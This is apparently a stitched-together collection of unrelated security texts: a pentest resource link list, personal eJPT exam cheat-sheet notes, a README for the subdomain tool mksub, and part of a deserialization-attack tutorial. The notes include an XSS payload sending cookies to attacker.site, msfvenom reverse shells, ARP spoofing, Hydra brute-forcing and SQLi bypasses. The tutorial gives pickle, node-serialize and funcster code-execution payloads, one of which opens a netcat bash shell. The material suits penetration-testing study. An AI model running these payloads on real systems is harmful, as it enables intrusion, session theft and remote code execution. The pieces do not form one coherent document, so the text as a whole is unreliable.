https://www.linkedin.com/pulse/bug-bounty-como-se-tornar-um-especialista-em-ataques-web-dos-santos/
https://www.linkedin.com/pulse/advanced-web-attacks-joas-antonio-dos-santos/
https://www.linkedin.com/pulse/overview-da-certifica%C3%A7%C3%A3o-ewpt-elearning-web-tester-dos-santos/
https://www.linkedin.com/pulse/overview-da-certifica%C3%A7%C3%A3o-offensive-security-web-oswe-dos-santos/
https://www.linkedin.com/pulse/como-se-tornar-um-elliot-alderson-do-ctf-pt2-joas-antonio-dos-santos/
https://github.com/b1n4ry4rms/RedTeam-Pentest-Cheatsheets/tree/master/OSCE
https://tulpa-security.com/2017/07/18/288/
https://jhalon.github.io/OSCE-Review/
https://drive.google.com/drive/folders/12Mvq6kE2HJDwN2CZhEGWizyWt87YunkU (My Ebooks)
https://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/
https://medium.com/@hakluke/haklukes-ultimate-oscp-guide-part-1-is-oscp-for-you-b57cbcce7440
https://www.offensive-security.com/offsec/my-philosophical-approach-to-oscp/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
https://github.com/payloadbox/xss-payload-list
https://medium.com/@pravinponnusamy/xss-payloads-7079c53c8559
https://owasp.org/www-community/xss-filter-evasion-cheatsheet
https://twitter.com/xsspayloads
http://www.xss-payloads.com/
https://github.com/payloadbox/sql-injection-payload-list
https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet
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#### Social Engineering
https://support.rackspace.com/how-to/email-spoofing-best-practices/
http://hackwithbrain.blogspot.com/2016/01/email-spoofing-tutorial.html
https://www.trustzone.com/how-to-produce-a-phishing-email-in-5-minutes/
https://www.youtube.com/watch?v=iPfL6n9TzOE (Email Spoofing)
https://www.youtube.com/watch?v=FH3sxFl-4is (Email Intercept)
https://dminc.com/blog/social-engineering-in-advanced-persistent-threat/
https://www.kaspersky.com/resource-center/definitions/advanced-persistent-threats
https://www.darkreading.com/vulnerabilities-and-threats/social-engineering-leads-apt-attack-vectors/d/d-id/1100142
https://digitalguardian.com/blog/social-engineering-attacks-common-techniques-how-prevent-attack
https://www.proofpoint.com/us/threat-reference/advanced-persistent-threat
https://www.computerweekly.com/feature/How-to-combat-advanced-persistent-threats-APT-strategies-to-protect-your-organisation
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#### Hardware Hacking
https://www.youtube.com/watch?v=YjQhS_95t7s
https://null-byte.wonderhowto.com/how-to/make-your-own-bad-usb-0165419/
https://devcraze.com/tutorials/cyber-security/create-a-rubber-ducky-using-arduino/
https://hackaday.com/tag/badusb/
https://medium.com/@rokolabrovic/bad-arduino-leonardo-16a712faebcb
----------------------------------------------------------------------------
#### Labs
https://pentesterlab.com/
https://owasp.org/projects/
https://www.hackthebox.eu/
https://www.vulnhub.com/
https://tryhackme.com/
https://www.offensive-security.com/labs/
----------------------------------------------------------------------------
#### Course Platforms
https://www.elearnsecurity.com/
https://www.pentesteracademy.com/
https://www.offensive-security.com/
https://cybrary.it/
https://www.udemy.com/
https://www.pluralsight.com/
https://www.udemy.com/
https://cybrary.it/
----------------------------------------------------------------------------
#### Youtube Channels
https://www.youtube.com/channel/UCxHzA-Z97sjfK3OISjkbMCQ (RoadSec)
https://www.youtube.com/channel/UC2QgCedRNj_tLDrGWSM3GsQ (Mindthesec)
https://www.youtube.com/channel/UCz1PsqIhim7PUqQfuXmD-Bw (Hackaflag)
https://www.youtube.com/user/BlackHatOfficialYT (Blackhat)
https://www.youtube.com/channel/UCqGONXW1ORgz5Y4qK-0JdkQ (Joe Grand)
https://www.youtube.com/user/DEFCONConference (Defcon)
https://www.youtube.com/channel/UC4dxXZQq-ofAadUWbqhoceQ (DeviantOllam)
https://www.youtube.com/channel/UC3s0BtrBJpwNDaflRSoiieQ (Hak5)
https://www.youtube.com/channel/UCimS6P854cQ23j6c_xst7EQ (Hacker Warehouse)
https://www.youtube.com/channel/UCe8j61ABYDuPTdtjItD2veA (OWASP)
https://www.youtube.com/channel/UC42VsoDtra5hMiXZSsD6eGg/featured (The Modern Rogue)
https://www.youtube.com/channel/UC3S8vxwRfqLBdIhgRlDRVzw (Stack Mashing)
https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w (Live Overflow)
https://www.youtube.com/channel/UCW6MNdOsqv2E9AjQkv9we7A (PwnFunction)
https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA (IppSec)
https://www.youtube.com/channel/UCUB9vOGEUpw7IKJRoR4PK-A (Murmus CTF)
https://www.youtube.com/channel/UCND1KVdVt8A580SjdaS4cZg (Colin Hardy)
https://www.youtube.com/user/GynvaelEN (GynvaelEN)
https://www.youtube.com/channel/UCBcljXmuXPok9kT_VGA3adg (Robert Baruch)
https://www.youtube.com/channel/UCGISJ8ZHkmIv1CaoHovK-Xw (/DEV/NULL)
https://www.youtube.com/user/RootOfTheNull (John Hammond)
https://www.youtube.com/channel/UCDbNNYUME_pgocqarSjfNGw (Kacper)
https://www.youtube.com/channel/UC0ArlFuFYMpEewyRBzdLHiw (The Cyber Mentor)
https://www.youtube.com/channel/UCdNLW93OyL4lTav1pbKbyaQ (Mentorable)
https://www.youtube.com/channel/UCMACXuWd2w6_IEGog744UaA (Derek Rook)
https://www.youtube.com/channel/UCFvueUEWRfQ9qT9UmHCw_og (Prof. Joas Antonio)
https://www.youtube.com/user/ricardolongatto (Ricardo Longatto)
https://www.youtube.com/user/daybsonbruno (XTREME Security)
https://www.youtube.com/user/eduardoamaral07 (Facil Tech)
https://www.youtube.com/channel/UC70YG2WHVxlOJRng4v-CIFQ (Gabriel Pato)
https://www.youtube.com/user/Diolinux (Diolinux)
https://www.youtube.com/user/greatscottlab (Great Scott!)
https://www.youtube.com/user/esecuritytv (eSecurity)
https://www.youtube.com/channel/UCzWPaANpPISEE_xvJm8lqHA (Cybrary)
https://www.youtube.com/user/DanielDonda (Daniel Donda)
https://www.youtube.com/channel/UCQN2DsjnYH60SFBIA6IkNwg (STOK)
https://www.youtube.com/user/ZetaTwo (Calle Svensson)
https://www.youtube.com/channel/UCNKUSu4TPk979JzMeKDXiwQ (Georgia Wedman)
https://www.youtube.com/channel/UCqDLY9WFoJWqrhycW8cbv1Q (Manoel T)
https://www.youtube.com/channel/UCNRM4GH-SD85WCSqeSb4xUA (Bug Bounty Public Disclousere)
https://www.youtube.com/channel/UCwTH3RkRCIE35RJ16Nh8V8Q (Kindred)
https://www.youtube.com/channel/UCySphP8k4rv7Jf-7v3baWIA(Vinicius Vieira)
https://www.youtube.com/channel/UCVImyGhRATNFGPmJfxaq1dw (Bsides)
https://www.youtube.com/user/Wraiith75 (Wraiith)
https://www.youtube.com/user/genxweb (Michael LaSalvia)
https://www.youtube.com/channel/UCi8P9S-PW7AF71g8Pi0W6Jw (AcadiTI)
https://www.youtube.com/channel/UCuQ8zW9VmVyml7KytSqJDzg (Mente Binária)
https://www.youtube.com/channel/UC_JW_5_3XnGR6IdqKmZD7Rg (Cryptoroot)
https://www.youtube.com/user/adsecf (Guia Anônima)
https://www.youtube.com/channel/UCXHBFtUcbhIssuuXXud2WcQ (Helvio Junior)
https://www.youtube.com/user/securitycast (Security Cast)
https://www.youtube.com/channel/UCcYYP7JizTd24W9Mr7FIhxw (Hack N' Roll Academy)
----------------------------------------------------------------------------
#### Blogs and Notices
https://thehackernews.com/
https://www.hackread.com/
https://blog.eccouncil.org/
https://acaditi.com.br/blog/
https://www.cisoadvisor.com.br/
https://mundohacker.net.br/
https://olhardigital.com.br/
https://www.digitalhealth.net/
https://www.tecmundo.com.br/
https://www.forbes.com/
https://www.bbc.com/
https://www.cisomag.com/
https://cio.economictimes.indiatimes.com/
https://www.kaspersky.com.br/blog/
https://www.tripwire.com/
https://blog.trendmicro.com.br/
https://www.bleepingcomputer.com/
https://thehack.com.br/
https://cyware.com/cyber-security-news-articles
https://threatpost.com/
https://exchange.xforce.ibmcloud.com/
https://www.scmagazine.com/home/security-news/
https://www.infosecurity-magazine.com/news/
https://www.securitymagazine.com/topics/2236-cyber-security-news
https://www.darkreading.com/
http://hakin9.org/
----------------------------------------------------------------------------
#### My Articles
https://www.linkedin.com/pulse/base-para-ingressar-mercado-de-seguran%C3%A7a-da-joas-antonio-dos-santos/ (A base para ingressar no mercado de segurança da informação)
https://www.linkedin.com/pulse/iniciando-e-aprimorando-sua-carreira-na-%C3%A1rea-de-soc-dos-santos/ - Iniciando e aprimorando sua carreira na área de SOC (Security Operation Center)
https://www.linkedin.com/pulse/sou-iniciante-na-%C3%A1rea-de-seguran%C3%A7a-da-informa%C3%A7%C3%A3o-por-onde-dos-santos/ (Sou iniciante na área de segurança da informação, por onde eu devo começar?)
https://www.linkedin.com/pulse/o-colapso-do-mercado-de-seguran%C3%A7a-da-informa%C3%A7%C3%A3o-dos-santos/ (O Colapso do Mercado de Segurança da Informação?)
https://www.linkedin.com/pulse/como-se-qualificar-para-novas-vagas-de-seguran%C3%A7a-da-que-dos-santos/ (Como se qualificar para as novas vagas de segurança da informação que estão abrindo?)
https://www.linkedin.com/pulse/os-requisitos-para-trabalhar-mercado-de-seguran%C3%A7a-da-dos-santos/ (Os requisitos para trabalhar no mercado de segurança da informação)
https://www.linkedin.com/pulse/aprimorando-seu-conhecimento-para-se-tornar-um-em-da-dos-santos/ (Aprimorando seu conhecimento para se tornar um Especialista em Segurança da Informação)
https://www.linkedin.com/pulse/forma%C3%A7%C3%A3o-completa-para-se-tornar-um-cyber-security-dos-santos/ (Formação completa para se tornar um Cyber Security Analyst)
https://www.linkedin.com/pulse/se-tornando-um-offensive-defensive-security-joas-antonio-dos-santos/ (Se tornando um Engenheiro de Segurança Defensiva e Ofensiva)
https://www.linkedin.com/pulse/aprimore-agora-suas-habilidades-t%C3%A9cnicas-na-%C3%A1rea-de-da-dos-santos/ (Aprimore agora suas habilidades tecnicas na área de segurança da informaçãl)
https://www.linkedin.com/pulse/como-se-tornar-um-mestre-jedi-ctf-joas-antonio-dos-santos/ (Como se tornar um Mestre Jedi no CTF)
https://www.linkedin.com/pulse/ser%C3%A1-que-realmente-vale-pena-gastar-dinheiro-com-na-%C3%A1rea-dos-santos/ (Vale a pena gastar dinheiro com certificação?)
https://www.linkedin.com/pulse/qual-caminho-trilhar-na-%C3%A1rea-de-seguran%C3%A7a-da-joas-antonio-dos-santos/ (Qual caminho trilhar na área de segurança?)
https://www.linkedin.com/pulse/aonde-eu-posso-estudar-seguran%C3%A7a-da-informa%C3%A7%C3%A3o-nessa-dos-santos/ (Aonde eu posso estudar segurança da informação?)
https://www.linkedin.com/pulse/como-estudar-e-desenvolver-suas-habilidades-em-pt2-dos-santos/ (Como estudar e desenvolver suas habilidades em segurança da informação PT2)
https://www.linkedin.com/pulse/como-ser-um-%C3%B3timo-profissional-de-ti-joas-antonio-dos-santos/ (Como ser um ótimo profissional de TI)
https://www.linkedin.com/pulse/desenvolvendo-o-autodidatismo-na-%C3%A1rea-de-seguran%C3%A7a-da-dos-santos/ (Desenvolvendo o autodidatismo na área de segurança da informação)
https://www.linkedin.com/pulse/qualquer-um-pode-trabalhar-com-seguran%C3%A7a-da-joas-antonio-dos-santos/ (Qualquer um pode trabalhar com segurança da informação)
https://www.linkedin.com/pulse/guia-b%C3%A1sico-sobre-soc-security-operation-center-dos-santos/ (Guia básico sobre SOC - Security Operation Center)
https://www.linkedin.com/pulse/como-estudar-para-certifica%C3%A7%C3%B5es-sem-dinheiro-pt1-dos-santos/ (Como estudar para certificações sem dinheiro PT1)
https://www.linkedin.com/pulse/construa-seu-laborat%C3%B3rio-de-seguran%C3%A7a-da-informa%C3%A7%C3%A3o-e-dos-santos/ (Construa seu laboratorio de segurança da informação)
https://www.linkedin.com/pulse/fundamentos-qual-real-necessidade-de-aprender-joas-antonio-dos-santos/ (Fundamentos qual a real necessidade de aprender?)
https://www.linkedin.com/pulse/como-ingressar-mercado-de-seguran%C3%A7a-da-informa%C3%A7%C3%A3o-dos-santos/ (Como ingressar no mercado de segurança da informação?)
https://www.linkedin.com/pulse/se-tornando-um-pentester-ou-hacker-n%C3%ADvel-elliot-dos-santos/ (Se tornando um Hacker ou PenTest nivel Elliot)
https://www.linkedin.com/pulse/desenvolvendo-suas-habilidades-em-seguran%C3%A7a-da-dos-santos/ (Desenvolvendo suas habilidades em segurança da informação)
https://www.linkedin.com/pulse/expandindo-sua-mente-para-se-tornar-um-mestre-na-arte-dos-santos/ (Expandindo sua mente para se tornar um mestre na arte de PenTest)
https://www.linkedin.com/pulse/como-ser-um-mestre-jedi-na-%C3%A1rea-de-seguran%C3%A7a-da-dos-santos/ (Como ser um mestre jedi na área de segurança da informação)
https://www.linkedin.com/pulse/como-aproveitar-o-hack-box-para-seu-desenvolvimento-dos-santos/ (Como aproveitar o Hack the Box para seu desenvolvimento pessoal?)
https://www.linkedin.com/pulse/estou-perdido-por-onde-come%C3%A7ar-na-%C3%A1rea-de-seguran%C3%A7a-da-dos-santos/ (Estou perdido! Por onde começar na área de segurança)
https://www.linkedin.com/pulse/pentest-z3r0-h3r0-1-joas-antonio-dos-santos/ (PenTest Z3R0 TO H3R0)
https://www.linkedin.com/pulse/como-se-tornar-um-elliot-alderson-ctf-joas-antonio-dos-santos/ (Como se tornar um elliot alderson no CTF
https://www.linkedin.com/pulse/entenda-o-ataque-do-primeiro-epis%C3%B3dio-de-mr-robot-dos-santos-/ (Entenda o primeiro ataque da série Mr. Robot - Bônus)
https://www.linkedin.com/pulse/tudo-sobre-profiss%C3%A3o-analista-de-seguran%C3%A7a-da-dos-santos-/ (Tudo sobre a profissão de analista de segurança da informação)
|
# eJPT Notes - eLearnSecurity Junior Penetration Tester Certificate Notes
### NOTE
- **I am not - affiliated with eLearnSecurity in any way and these notes do not guarantee that you pass.**
- Replace 10.10.10.2 with the proper IP based on your situation
## What is this?
- The notes below are **personal** notes I took while studying for eLearnSecurity's eJPT certificate in their Penetration Testing Student (PTS) course.
- I passed on the first attempt in great part due to the labs and taking notes throughout.
## What this includes:
- Condensed Notes (below this section): Short notes with snippets in case you forget a command/ concept
- Full Notes: This includes explanations/ tidbits from the non-lab portions and can possibly help with general interview questions.
----
# Condensed Notes:
## Enumeration:
### Ping Sweep:
- fping: `fping -a -g {IP RANGE} 2>/dev/null`
- EX: `fping -a -g 10.10.10.0/8 2>/dev/null`
- Nmap Ping Sweep:
```
nmap -sn 10.10.10.0/8 | grep -oP '(?<=Nmap scan report for )[^ ]*'
```
### Nmap
- Full Scan (All Ports, Syn, Scripts, Version, Speed):
```
nmap -Pn -T4 --open -sS -sC -sV --min-rate=1000 --max-retries=3 -p- -oN scanReportForHost2 10.10.10.2
```
- Replace `-sS` with `-sT` for full TCP
- Quick Scan (WARNING NOT ALL PORTS):
```
nmap -sC -sV 10.10.10.2
```
- IP Range:
```
nmap -sC -sV 10.10.10.2-33
```
- Select IPs:
```
nmap -sC -sV 10.10.10.2,3,6,9
```
- Vulnerability Scan for specific services:
```
nmap --script suspectedVulnScript(s)Here -p {PORT(s)} 10.10.10.2
```
- Shares Enumeration:
```r
nbstat -A 10.10.10.2
nmblookup -A 10.10.10.2
smbclient //10.10.10.2/share -N # mounts share
smbclient -L //10.10.10.2 -N # lists shares and omits NetBIOS asking for a pss
enum4linux -a 10.10.10.2
```
### Banner Grabbing
- Netcat format: `nc {Target IP} {Port}`
- Netcat (HTTP Only):
```
nc 10.10.10.2 80
HEAD / HTTP/1.0 #NOTE: PUT TWO EMPTY LINES AFTER!
# EMPTY LINE HERE
# EMPTY LINE HERE AGAIN
```
- Netcat (See all available verb OPTIONS):
```
nc 10.10.10.2
OPTIONS / HTTP/1.0
```
- OpenSSL (HTTPS)
```
opnessl s_client -connect 10.10.10.2:443
HEAD / HTTP/1.0
```
### Wireshark Snippets
```
request.method == "POST"
http & ip.src == 192.168.0.1
tcp.port == xx
tcp.srcport == xx
http.request
```
- After capturing/ opening traffic:
- Follow -> TCP Stream
## Web Enumeration
### Web Scanning:
- Nikto - General Scan:
```
nikto -h http://10.10.10.2/
```
### Directory Traversal:
- gobuster (recommended):
```
gobuster dir -u http://10.10.10.2/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
```
- gobuster with auth and file extensions:
```
gobuster dir -u http://10.10.10.2/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -U admin -x /,php,txt,bak,old,html,xxx
```
- You might want to dial down the extensions `-x php,txt` based on the target you're after. In this case, we know the password for the user `-U admin`
- dirb:
```
dirb http://10.10.10.2/ /usr/share/wordlists/dirb/common.txt
```
- dirb with auth:
```
http://targetsite.site/ -u "admin:password"
```
## Routing/ Pivoting:
- `route -n` (linux) - Clean routing table. Definitely use this when setting up a route, makes seeing the Destination and Gateway more clear!
- `arp -a` (linux/ windows) - Show you the ARP table, gateway, and iface
- `ip route` (linux) - Show you the routing setup you have
- Add Route/ Pivot:
- `ip route add` {CONNECT TO THIS NETWORK} `via` {FROM THIS IP}
- `ip route add 10.10.10.0/8 via 10.10.10.99`
---
## Web Exploitation
### SQL Injection (SQLi):
- Basic union injection (Manual):
```
xxxx' UNION SELECT null; -- -
```
- Basic login bypass (Manual):
```
' or 1=1; -- -'
```
- SQLMap with a parameter:
```bash
sqlmap -u 'http://vuln.site/item.php?id=203' -p id --technique=U # Enum 'id' parameter and use the UNION technique
sqlmap -u http://10.10.10.2/item.php?id=203 --tables # Shows us all tables in the DB
```
- SQLMap dump:
```bash
sqlmap -u 'http://vuln.site/view.php?id=203' --dump # has potential to take down servers in IRL situations
```
### Cross-Site Scripting (XSS):
- Find a vulnerable input field: `<script>alert('Fight On!')</script>`
- Steal cookie (helpful with stored-xss):
```js
<script\>
var i \= new Image();
i.src\="http://attacker.site/log.php?q="+document.cookie;
</script\>
```
---
## Host Exploitation
### ARP Spoofing
```py
echo 1 > /proc/sys/net/ipv4/ip_forward # So once traffic reaches us, proceeds to the vicitm
arpspoof -i tap0 -t 10.10.10.2 -r 10.10.10.6
```
### Metasploit
- Basic Commands:
```r
search xxxx # EX: search tomcat
use xxxx # EX: use 1... or use itemNameHere
set xxxx # Configure target IP and whatever required settings required for the module/ exploit
options, show options, advanced options xxxx #Shows you all options for the payload/ module you have set
show payloads # In case you need to switch to a bind shell in cases where a revshell or go all out for a meterpreter shell
select payload xxxx # To actually switch to whatever payload you want
```
- Generate a payload:
```bash
msfvenom -p php/reverse_php lhost={Attacker IP} lport=443 -o revShell.php # Basic php reverse shell
msfvenom -p linux/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf # Linux reverse shell
```
- Upgrade to a meterpreter shell:
```bash
use post/multi/manager/shell_to_meterpreter
```
- Meterpreter - Helpful Commands:
```bash
background
session -l # Lists your open sessions
sessions -i 3 # Interact with/ open/ enter session 3
getsystem # PrivEsc for Windows
sysinfo, ifconfig, route, getuid # Internal Enumeration
download thisFile.txt /in/my/directory/here
hashdump # Dumps Windows SAM password hashes
```
### Netcat Listener
```
nc -nvlp 8888 # Listening on port 8888
```
### Passwords
- Prepare a file for John the Ripper to crack:
```
unshadow passwd shadow > crackThisPls
```
- Crack the passwords with John:
```
john --wordlist=/my/wordlist/is/here.txt crackThisPls
```
- Brute-force with Hydra:
- Change ssh/ telnet to the service you are targeting
```r
hydra -L usersList.txt -P passList.txt -t 10 10.10.10.2 ssh -s 22
hydra -L usersList -P passList telnet://10.10.10.2 -V # verbose so you see real-time when a password is found
```
---
## Last Minute Reminders
- Once you compromise a box, cat the /etc/hosts file or it's equivalent to find other hosts. This was crucial in the labs.
- You MUST do a full port scan, do not hurry, the labs had some ports without a full scan you would have missed.
- T5 speed on nmap omits some ports for me, your experience may vary, I think sticking to T4 or less is wise.
- For web: After you get some creds, try to pipe them into gobuster for an authenticated traversal.
- If nmap's service version scan (-sV) is of no help, grab the banner with nc
- If SQLi does not work right away, try appending commands instead of using a boolean:
- Instead of `page?id=21' or 1=1 -- -`, insert the next statement directly, `page?id=21 AND SELECT ...`
- Let gobuster run for a while, and run dirb as well and have it run for a while too, in case one of them does not catch a directory.
- Again, seriously do not hurry and miss things out.
- Enumerate! Enumerate! Enumerate! Everything. Every directory, file, if you get stuck.
---
## Helpful Cheatsheets
- SQL Union Injections (If you want to do the injection manually, it's actually fun!): https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635
- Basic SQL Injection for Authentication Bypass: https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/\
- TTY Shells: https://netsec.ws/?p=337
|
<h1 align="center">mksub <a href="https://twitter.com/intent/tweet?text=mksub%20-%20Generate%20tens%20of%20thousands%20of%20subdomain%20combinations%20in%20a%20matter%20of%20seconds%0Ahttps%3A%2F%2Fgithub.com%2Ftrickest%2Fmksub&hashtags=bugbounty,bugbountytips,infosec"><img src="https://img.shields.io/badge/Tweet--lightgrey?logo=twitter&style=social" alt="Tweet" height="20"/></a></h1>
<h3 align="center">Generate tens of thousands of subdomain combinations in a matter of seconds</h3>
Read a wordlist file and generate subdomain combinations for a given domain or list of domains. Input from the wordlist file is lowercased and only unique words are processed. Additionally, wordlist can be filtered using regex.
When you use mksub's `-l` parameter, it will generate all subdomain combinations up to the specified level, including all lower levels, using words from the wordlist. For instance, with `-l 2`, it will generate `len(permutation_list)^2 + len(permutation_list)` results, which is:
- 30 combinations for a 5-word wordlist.
- 10100 combinations for a 100-word wordlist.
- 250500 combinations for a 500-word wordlist.
# Installation
## Binary
Binaries are available in the [latest release](https://github.com/trickest/mksub/releases/latest).
## Docker
```
docker run quay.io/trickest/mksub
```
## From source
```
go install github.com/trickest/mksub@latest
```
# Usage
```
-d string
Input domain
-df string
Input domain file, one domain per line
-l int
Subdomain level to generate (default 1)
-o string
Output file (stdout will be used when omitted)
-r string
Regex to filter words from wordlist file
-silent
Skip writing generated subdomains to stdout (faster) (default true)
-t int
Number of threads for every subdomain level (default 100)
-w string
Wordlist file
```
# Example
### wordlist.txt
```
dev
DEV
*
foo.bar
prod
```
```shell script
$ mksub -d example.com -l 2 -w input.txt -r "^[a-zA-Z0-9\.-_]+$"
dev.example.com
foo.bar.example.com
prod.example.com
foo.bar.dev.example.com
prod.dev.example.com
dev.dev.example.com
dev.foo.bar.example.com
foo.bar.foo.bar.example.com
prod.foo.bar.example.com
dev.prod.example.com
foo.bar.prod.example.com
prod.prod.example.com
```
## Report Bugs / Feedback
We look forward to any feedback you want to share with us or if you're stuck with a problem you can contact us at [[email protected]](mailto:[email protected]). You can also create an [Issue](https://github.com/trickest/mksub/issues/new) or pull request on the Github repository.
# Where does this fit in your methodology?
Mksub is an integral part of the [Inventory](https://github.com/trickest/inventory) workflow and many other workflows in the Trickest store. Sign up on [trickest.com](https://trickest.com) to get access to these workflows or build your own from scratch!
[<img src="./banner.png" />](https://trickest-access.paperform.co/)
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**Serialization** is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications.
**Deserialization** is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.
In many occasions you can find some code in the server side that unserialize some object given by the user.\
In this case, you can send a malicious payload to make the server side behave unexpectedly.
**You should read:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **for learn how to attack.**
# PHP
Magic method used with serialization:
* `__sleep` is called when an object is serialized and must be returned to array
Magic method used with deserialization
* `__wakeup` is called when an object is deserialized.
* `__destruct` is called when PHP script end and object is destroyed.
* `__toString` uses object as string but also can be used to read file or more than that based on function call inside it.
```php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
```
If you look to the results you can see that the functions `__wakeup` and `__destruct` are called when the object is deserialized. Note that in several tutorials you will find that the `__toString` function is called when trying yo print some attribute, but apparently that's **not happening anymore**.
[**Autoload Classes**](https://www.php.net/manual/en/language.oop5.autoload.php) may also be **dangerous**.
You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
## Serializing Referenced Values
If for some reason you want to serialize a value as a **reference to another value serialized** you can:
```php
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
## PHPGGC (ysoserial for PHP)
[**PHPGCC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\
Note than in several cases you **won't be able to find a way to abuse a deserialization in the source code** of the application but you may be able to **abuse the code of external PHP extensions.**\
So, if you can, check the `phpinfo()` of the server and **search on the internet** (an even on the **gadgets** of **PHPGCC**) some possible gadget you could abuse.
## phar:// metadata deserialization
If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like _**file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**_**.** You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.\
For more information read the following post:
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
{% endcontent-ref %}
# Python
## **Pickle**
When the object gets unpickle, the function _\_\_reduce\_\__ will be executed.\
When exploited, server could return an error.
```python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
```
For more information about escaping from **pickle jails** check:
{% content-ref url="../../misc/basic-python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../misc/basic-python/bypass-python-sandboxes/)
{% endcontent-ref %}
## Yaml **&** jsonpickle
The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**:
{% content-ref url="python-yaml-deserialization.md" %}
[python-yaml-deserialization.md](python-yaml-deserialization.md)
{% endcontent-ref %}
# NodeJS
## `__proto__` and `prototype` pollution
If you want to learn about this technique **take a look to the following tutorial**:
{% content-ref url="nodejs-proto-prototype-pollution/" %}
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
{% endcontent-ref %}
## [node-serialize](https://www.npmjs.com/package/node-serialize)
This library allows to serialise functions. Example:
```javascript
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
```
The **serialised object** will looks like:
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object.
Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
.png>)
.png>)
As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**.
However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\
Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\
In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code:
```javascript
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
```
As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example:
```javascript
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
```
You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability.
## [funcster](https://www.npmjs.com/package/funcster)
The interesting difference here is that the **standard built-in objects are not accessible**, because they are out of scope. It means that we can execute our code, but cannot call build-in objects’ methods. So if we use `console.log()` or `require(something)`, Node returns an exception like `"ReferenceError: console is not defined"`.
However, we can easily can get back access to everything because we still have access to the global context using something like `this.constructor.constructor("console.log(1111)")();`:
```javascript
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
